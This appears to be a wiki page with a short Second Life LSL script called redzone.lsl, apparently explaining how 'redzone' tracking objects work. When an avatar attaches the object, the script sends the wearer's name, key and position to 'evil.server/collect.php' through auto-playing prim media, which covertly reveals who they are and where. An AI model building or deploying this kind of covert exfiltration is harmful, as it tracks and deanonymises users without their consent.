Sketch LSL Code

redzone.lsl
default{
  state_entry() {
    // Clear default media.
    llClearPrimMedia(0);
  }
  // When the avatar attaches the object...
  attach(key z) {
    // First clear the media again...
    llClearPrimMedia(0);
    // Craft a string containing the name of the avatar, their key and the position they are at.
    string x="http://evil.server/collect.php&name="+llEscapeURL(llKey2Name(llGetOwner()))+"&key="+llEscapeURL((string)llGetOwner())+"&position="+llEscapeURL((string)llGetPos());
    // Next, set the prim-media to the URL build above.
    llSetPrimMediaParams(0[PRIM_MEDIA_AUTO_PLAY,1,PRIM_MEDIA_AUTO_PLAY,1,PRIM_MEDIA_CURRENT_URL,x,PRIM_MEDIA_HOME_URL,x,PRIM_MEDIA_HEIGHT_PIXELS,512,PRIM_MEDIA_WIDTH_PIXELS,512]);
    // Wait for 180 seconds to give the avatar time to access the URL.
    llSetTimerEvent(180);
  }
  timer(){
    // After the alarm, clear the media so we do not get flooded with other requests.
    llClearPrimMedia(0);
    // .. and stop.
    llSetTimerEvent(0);
  }
}

secondlife/redzone/client_side.txt · Last modified: 2017/02/22 18:20 (external edit)

Access website using Tor


For the copyright, license, warranty and privacy terms for the usage of this website please see the license and privacy pages.